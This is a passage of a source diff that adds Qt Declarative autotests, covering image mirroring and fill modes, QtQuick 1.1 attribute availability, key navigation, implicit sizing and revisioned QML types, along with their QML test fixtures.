+ QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio);
+ rect.moveCenter(QRect(0, 0, width, height).center());
+ p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ }
+ case QDeclarativeImage::Tile:
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ case QDeclarativeImage::TileVertically:
+ transform.scale(width / srcPixmap.width(), 1.0);
+ p_e.setTransform(transform);
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ case QDeclarativeImage::TileHorizontally:
+ transform.scale(1.0, height / srcPixmap.height());
+ p_e.setTransform(transform);
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ }
+
+ QCOMPARE(screenshot, expected);
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::mirror_data()
+{
+ QTest::addColumn<int>("fillMode");
+
+ QTest::newRow("Stretch") << int(QDeclarativeImage::Stretch);
+ QTest::newRow("PreserveAspectFit") << int(QDeclarativeImage::PreserveAspectFit);
+ QTest::newRow("PreserveAspectCrop") << int(QDeclarativeImage::PreserveAspectCrop);
+ QTest::newRow("Tile") << int(QDeclarativeImage::Tile);
+ QTest::newRow("TileVertically") << int(QDeclarativeImage::TileVertically);
+ QTest::newRow("TileHorizontally") << int(QDeclarativeImage::TileHorizontally);
+}
+
void tst_qdeclarativeimage::svg()
{
QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString();
@@ -570,6 +669,45 @@ void tst_qdeclarativeimage::nullPixmapPaint()
delete image;
}
+void tst_qdeclarativeimage::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Image { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Image { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_qdeclarativeimage::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("mirror") << "mirror: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Image.mirror\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("cache") << "cache: true"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Image.cache\" is not available in QtQuick 1.0.\n";
+}
+
/*
Find an item with the specified objectName. If index is supplied then the
item must also evaluate the {index} expression equal to index
diff --git a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
index 5b214e6..6d35332 100644
--- a/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
+++ b/tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp
@@ -180,6 +180,10 @@ void tst_qdeclarativeimageprovider::fillRequestTestsData(const QString &id)
<< "image://test/" + fileName << fileName << "" << QSize(100,100) << "";
fileName = newImageFileName();
+ QTest::newRow(QTest::toString(id + " simple test with capitalization"))//As it's a URL, should make no difference
+ << "image://Test/" + fileName << fileName << "" << QSize(100,100) << "";
+
+ fileName = newImageFileName();
QTest::newRow(QTest::toString(id + " url with no id"))
<< "image://test/" + fileName << "" + fileName << "" << QSize(100,100) << "";
diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
index 9ac6137..b5edec8 100644
--- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
+++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp
@@ -512,7 +512,7 @@ void tst_qdeclarativeinstruction::dump()
{
QDeclarativeInstruction i;
i.line = 50;
- i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant
+ i.type = (QDeclarativeInstruction::Type)(1234); // Non-existent
data->bytecode << i;
}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
new file mode 100644
index 0000000..869c0fc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.1
+
+Item {
+ implicitWidth: 200
+ implicitHeight: 100
+
+ width: 80
+ height: 60
+
+ function resetSize() {
+ width = undefined
+ height = undefined
+ }
+
+ function changeImplicit() {
+ implicitWidth = 150
+ implicitHeight = 80
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
new file mode 100644
index 0000000..8102df1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+Item {
+ children: [ 10 ]
+}
diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
index 57f7a95..137522d 100644
--- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
+++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
@@ -65,6 +65,7 @@ private slots:
void keys();
void keysProcessingOrder();
void keyNavigation();
+ void keyNavigation_skipNotVisible();
void smooth();
void clip();
void mapCoordinates();
@@ -82,6 +83,10 @@ private slots:
void mouseFocus();
void transformCrash();
+ void implicitSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void qtbug_16871();
private:
template<typename T>
@@ -455,6 +460,84 @@ void tst_QDeclarativeItem::keyNavigation()
delete canvas;
}
+void tst_QDeclarativeItem::keyNavigation_skipNotVisible()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // Set item 2 to not visible
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+ QVERIFY(item);
+ item->setVisible(false);
+ QVERIFY(!item->isVisible());
+
+ // right
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // tab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // backtab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ //Set item 3 to not visible
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+ QVERIFY(item);
+ item->setVisible(false);
+ QVERIFY(!item->isVisible());
+
+ // tab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item4");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // backtab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ delete canvas;
+}
+
void tst_QDeclarativeItem::smooth()
{
QDeclarativeComponent component(&engine);
@@ -836,6 +919,91 @@ void tst_QDeclarativeItem::transformCrash()
delete canvas;
}
+void tst_QDeclarativeItem::implicitSize()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml"));
+ canvas->show();
+
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(item);
+ QCOMPARE(item->width(), qreal(80));
+ QCOMPARE(item->height(), qreal(60));
+
+ QCOMPARE(item->implicitWidth(), qreal(200));
+ QCOMPARE(item->implicitHeight(), qreal(100));
+
+ QMetaObject::invokeMethod(item, "resetSize");
+
+ QCOMPARE(item->width(), qreal(200));
+ QCOMPARE(item->height(), qreal(100));
+
+ QMetaObject::invokeMethod(item, "changeImplicit");
+
+ QCOMPARE(item->implicitWidth(), qreal(150));
+ QCOMPARE(item->implicitHeight(), qreal(80));
+ QCOMPARE(item->width(), qreal(150));
+ QCOMPARE(item->height(), qreal(80));
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+}
+
+void tst_QDeclarativeItem::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("implicitWidth") << "implicitWidth: 100"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("implicitHeight") << "implicitHeight: 100"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_QDeclarativeItem::qtbug_16871()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml");
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ delete o;
+}
+
+
template<typename T>
T *tst_QDeclarativeItem::findItem(QGraphicsObject *parent, const QString &objectName)
{
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
new file mode 100644
index 0000000..64acbd1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
@@ -0,0 +1,6 @@
+import Test 1.0
+
+MyRevisionedLegalOverload
+{
+}
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
new file mode 100644
index 0000000..e9b449d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
@@ -0,0 +1 @@
+3:1:Type Test/MyRevisionedIllegalOverload 1.0 contains an illegal property "propA". This is an error in the type's implementation.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
new file mode 100644
index 0000000..612bcfe
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedIllegalOverload
+{
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
new file mode 100644
index 0000000..29342dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
@@ -0,0 +1 @@
+8:5:"MyRevisionedClass.prop2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
new file mode 100644
index 0000000..4b37ed3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
@@ -0,0 +1,9 @@
+// Check that a property in a later revision (prop2) cannot be assigned
+import QtQuick 1.0
+import Test 1.0
+
+MyRevisionedClass
+{
+ prop1: 1
+ prop2: 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
new file mode 100644
index 0000000..57b5764
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
@@ -0,0 +1 @@
+6:5:"MyRevisionedClass.onSignal2" is not available in Test 1.0.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
new file mode 100644
index 0000000..8da7a25
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.qml
@@ -0,0 +1,7 @@
+import Test 1.0
+
+MyRevisionedClass
+{
+ onSignal1: prop1 = 2
+ onSignal2: prop1 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
new file mode 100644
index 0000000..45364a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
@@ -0,0 +1 @@
+9:5:"MyRevisionedClass.propD" is not available in Test 1.1.
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
new file mode 100644
index 0000000..195be21
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.qml
@@ -0,0 +1,10 @@
+import Test 1.1
+
+MyRevisionedClass
+{
+ propA: 10
+ propB: 10
+ propC: 10
+ // propD is in rev 1 of MyRevisionedClassUnregistered, but not registered in 1.1
+ propD: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
new file mode 100644
index 0000000..4d3d7d2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisions11.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedClass
+{
+ prop1: 1
+ prop2: 10
+
+ onSignal2: prop2 = 3
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
new file mode 100644
index 0000000..57d76b1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionsbasesub11.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+ propA: 10
+ propB: 10
+ propC: 10
+ // propD is not registered in 1.1
+ prop1: 10
+ prop2: 10
+ prop3: 10
+ prop4: 10
+
+ onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
new file mode 100644
index 0000000..f107356
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub11.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import Test 1.1
+
+MyRevisionedSubclass
+{
+ prop1: 10
+ prop2: 10
+ prop3: 10
+ prop4: 10
+
+ onSignal4: prop4 = 2
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
new file mode 100644
index 0000000..8c74715
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelanguage/data/versionedbase.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import Test 1.1
+
+MySubclass
+{
+ prop1: 10
+ prop2: 10
+}
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
index e312e31..69cba76 100644
--- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
@@ -52,6 +52,20 @@ void registerTypes()
qmlRegisterType<MyNamespace::MySecondNamespacedType>("Test",1,0,"MySecondNamespacedType");
qmlRegisterType<MyParserStatus>("Test",1,0,"MyParserStatus");
qmlRegisterType<MyGroupedObject>();
+ qmlRegisterType<MyRevisionedClass>("Test",1,0,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedClass,1>("Test",1,1,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedIllegalOverload>("Test",1,0,"MyRevisionedIllegalOverload");
+ qmlRegisterType<MyRevisionedLegalOverload>("Test",1,0,"MyRevisionedLegalOverload");
+
+ // Register the uncreatable base class
+ qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Test",1,1);
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ qmlRegisterType<MyRevisionedSubclass>("Test",1,0,"MyRevisionedSubclass");
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ qmlRegisterType<MyRevisionedSubclass,1>("Test",1,1,"MyRevisionedSubclass");
+
+ // Only version 1.0, but its super class is registered in version 1.1 also
+ qmlRegisterType<MySubclass>("Test",1,0,"MySubclass");
qmlRegisterCustomType<MyCustomParserType>("Test", 1, 0, "MyCustomParserType", new MyCustomParserTypeParser);
diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
index 2cdf580..12424d0 100644
--- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h
+++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
@@ -601,6 +601,207 @@ private:
int m_ccc;
};
+class MyRevisionedBaseClassRegistered : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+ qreal propA() const { return m_pa; }
+ void setPropA(qreal p) {
+ if (p != m_pa) {
+ m_pa = p;
+ emit propAChanged();
+ }
+ }
+ qreal propB() const { return m_pb; }
+ void setPropB(qreal p) {
+ if (p != m_pb) {
+ m_pb = p;
+ emit propBChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodA() { }
+ Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+ void propAChanged();
+ void propBChanged();
+
+ void signalA();
+ Q_REVISION(1) void signalB();
+
+protected:
+ qreal m_pa;
+ qreal m_pb;
+};
+
+class MyRevisionedIllegalOverload : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA REVISION 1);
+};
+
+class MyRevisionedLegalOverload : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB REVISION 1);
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+ Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+ qreal propC() const { return m_pc; }
+ void setPropC(qreal p) {
+ if (p != m_pc) {
+ m_pc = p;
+ emit propCChanged();
+ }
+ }
+ qreal propD() const { return m_pd; }
+ void setPropD(qreal p) {
+ if (p != m_pd) {
+ m_pd = p;
+ emit propDChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodC() { }
+ Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+ void propCChanged();
+ void propDChanged();
+
+ void signalC();
+ Q_REVISION(1) void signalD();
+
+protected:
+ qreal m_pc;
+ qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+ Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+ MyRevisionedClass() : m_p1(1), m_p2(2) {}
+
+ qreal prop1() const { return m_p1; }
+ void setProp1(qreal p) {
+ if (p != m_p1) {
+ m_p1 = p;
+ emit prop1Changed();
+ }
+ }
+ qreal prop2() const { return m_p2; }
+ void setProp2(qreal p) {
+ if (p != m_p2) {
+ m_p2 = p;
+ emit prop2Changed();
+ }
+ }
+
+ Q_INVOKABLE void method1() { }
+ Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+ void prop1Changed();
+ void prop2Changed();
+
+ void signal1();
+ Q_REVISION(1) void signal2();
+
+protected:
+ qreal m_p1;
+ qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+ Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+ MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+ qreal prop3() const { return m_p3; }
+ void setProp3(qreal p) {
+ if (p != m_p3) {
+ m_p3 = p;
+ emit prop3Changed();
+ }
+ }
+ qreal prop4() const { return m_p4; }
+ void setProp4(qreal p) {
+ if (p != m_p4) {
+ m_p4 = p;
+ emit prop4Changed();
+ }
+ }
+
+ Q_INVOKABLE void method3() { }
+ Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+ void prop3Changed();
+ void prop4Changed();
+
+ void signal3();
+ Q_REVISION(1) void signal4();
+
+protected:
+ qreal m_p3;
+ qreal m_p4;
+};
+
+class MySubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop5 READ prop5 WRITE setProp5 NOTIFY prop5Changed)
+
+public:
+ MySubclass() : m_p5(5) {}
+
+ qreal prop5() const { return m_p5; }
+ void setProp5(qreal p) {
+ if (p != m_p5) {
+ m_p5 = p;
+ emit prop5Changed();
+ }
+ }
+
+ Q_INVOKABLE void method5() { }
+
+signals:
+ void prop5Changed();
+
+protected:
+ qreal m_p5;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+QML_DECLARE_TYPE(MySubclass)
+
+
+
void registerTypes();
#endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
index a3e8ce6..f3f41a9 100644
--- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
+++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
@@ -153,6 +153,9 @@ private slots:
void customOnProperty();
void variantNotify();
+ void revisions();
+ void revisionOverloads();
+
// regression tests for crashes
void crash1();
void crash2();
@@ -421,6 +424,10 @@ void tst_qdeclarativelanguage::errors_data()
<< "incorrectCase.errors.sensitive.txt"
#endif
<< false;
+
+ QTest::newRow("metaobjectRevision.1") << "metaobjectRevision.1.qml" << "metaobjectRevision.1.errors.txt" << false;
+ QTest::newRow("metaobjectRevision.2") << "metaobjectRevision.2.qml" << "metaobjectRevision.2.errors.txt" << false;
+ QTest::newRow("metaobjectRevision.3") << "metaobjectRevision.3.qml" << "metaobjectRevision.3.errors.txt" << false;
}
@@ -947,7 +954,7 @@ void tst_qdeclarativelanguage::aliasProperties()
object->setProperty("value", QVariant(13));
QCOMPARE(object->property("valueAlias").toInt(), 13);
- // Write throught alias
+ // Write through alias
object->setProperty("valueAlias", QVariant(19));
QCOMPARE(object->property("valueAlias").toInt(), 19);
QCOMPARE(object->property("value").toInt(), 19);
@@ -1109,7 +1116,7 @@ void tst_qdeclarativelanguage::aliasProperties()
object->setProperty("rectProperty", QVariant(QRect(33, 12, 99, 100)));
QCOMPARE(object->property("valueAlias").toRect(), QRect(33, 12, 99, 100));
- // Write throught alias
+ // Write through alias
object->setProperty("valueAlias", QVariant(QRect(3, 3, 4, 9)));
QCOMPARE(object->property("valueAlias").toRect(), QRect(3, 3, 4, 9));
QCOMPARE(object->property("rectProperty").toRect(), QRect(3, 3, 4, 9));
@@ -1129,7 +1136,7 @@ void tst_qdeclarativelanguage::aliasProperties()
object->setProperty("rectProperty", QVariant(QRect(33, 8, 102, 111)));
QCOMPARE(object->property("aliasProperty").toInt(), 33);
- // Write throught alias
+ // Write through alias
object->setProperty("aliasProperty", QVariant(4));
QCOMPARE(object->property("aliasProperty").toInt(), 4);
QCOMPARE(object->property("rectProperty").toRect(), QRect(4, 8, 102, 111));
@@ -1888,6 +1895,61 @@ void tst_qdeclarativelanguage::variantNotify()
delete object;
}
+void tst_qdeclarativelanguage::revisions()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml"));
+
+ VERIFY_ERRORS(0);
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop2(), 10.0);
+
+ delete object;
+ }
+ {
+ QDeclarativeEngine myEngine;
+ QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml"));
+
+ VERIFY_ERRORS(0);
+ MyRevisionedSubclass *object = qobject_cast<MyRevisionedSubclass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop1(), 10.0);
+ QCOMPARE(object->prop2(), 10.0);
+ QCOMPARE(object->prop3(), 10.0);
+ QCOMPARE(object->prop4(), 10.0);
+
+ delete object;
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml"));
+ VERIFY_ERRORS(0);
+ MySubclass *object = qobject_cast<MySubclass*>(component.create());
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->prop1(), 10.0);
+ QCOMPARE(object->prop2(), 10.0);
+
+ delete object;
+ }
+}
+
+void tst_qdeclarativelanguage::revisionOverloads()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("allowedRevisionOverloads.qml"));
+ VERIFY_ERRORS(0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("disallowedRevisionOverloads.qml"));
+ QEXPECT_FAIL("", "QTBUG-13849", Abort);
+ QVERIFY(0);
+ VERIFY_ERRORS("disallowedRevisionOverloads.errors.txt");
+ }
+}
+
void tst_qdeclarativelanguage::initTestCase()
{
registerTypes();
diff --git a/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
new file mode 100644
index 0000000..ffe417a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativelistmodel/data/setmodelcachelist.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+ListModel {
+ id: model
+ property bool ok : false
+
+ Component.onCompleted: {
+ model.append({"attrs": []})
+ model.get(0)
+ model.set(0, {"attrs": [{'abc': 123, 'def': 456}] } )
+ ok = ( model.get(0).attrs.get(0).abc == 123
+ && model.get(0).attrs.get(0).def == 456 )
+
+ model.set(0, {"attrs": [{'abc': 789, 'def': 101}] } )
